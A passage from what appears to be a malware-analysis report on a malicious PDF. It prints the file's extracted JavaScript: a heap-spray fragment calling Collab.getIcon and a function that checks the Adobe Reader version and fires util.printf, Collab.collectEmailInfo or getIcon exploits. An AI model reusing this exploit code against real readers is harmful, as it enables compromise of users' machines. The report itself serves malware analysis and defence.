0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2